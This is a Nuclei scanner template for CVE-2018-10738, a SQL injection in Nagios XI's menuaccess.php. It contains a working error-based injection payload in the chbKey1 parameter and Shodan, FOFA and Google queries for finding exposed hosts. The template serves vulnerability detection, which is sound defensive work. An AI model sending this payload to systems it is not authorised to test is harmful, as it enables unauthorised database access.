nuclei-templates/http/cves/2018/CVE-2018-10738.yaml

45 lines
1.5 KiB
YAML
Raw Normal View History

2024-04-02 04:27:43 +00:00
id: CVE-2018-10738
info:
name: NagiosXI <= 5.4.12 menuaccess.php - SQL injection
author: DhiyaneshDk
severity: high
description: |
A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/menuaccess.php chbKey1 parameter.
reference:
- https://qkl.seebug.org/vuldb/ssvid-97268
- https://vuldb.com/de/?id.117807
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2018-10738
cwe-id: CWE-89
2024-05-31 19:23:20 +00:00
epss-score: 0.01861
epss-percentile: 0.88359
2024-04-02 04:27:43 +00:00
cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: nagios
product: nagios_xi
fofa-query: app="Nagios-XI"
2024-05-31 19:23:20 +00:00
shodan-query: http.title:"nagios xi"
google-query: intitle:"nagios xi"
2024-04-02 04:27:43 +00:00
tags: cve,cve2018,nagios,sqli
variables:
num: "{{rand_int(2000000000, 2100000000)}}"
http:
- method: POST
2024-04-02 04:30:45 +00:00
path:
2024-04-02 04:27:43 +00:00
- "{{BaseURL}}/nagiosql/admin/menuaccess.php"
headers:
Content-Type: application/x-www-form-urlencoded
body: "selSubMenu=1&subSave=1&chbKey1=-1%' and (select 1 from(select count(*),concat((select (select (select md5({{num}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#"
matchers:
- type: word
part: body
words:
- "{{md5(num)}}"
# digest: 4a0a00473045022032ff5ae76fd4bafea18400182ea5d3e6b9e5917a60778bb68121d7724dd9a6eb022100cf064e5aaa2db867e5dd696a41135a985be141a222970604ad3f887173ec0db5:922c64590222798bb761d5b6d8e72950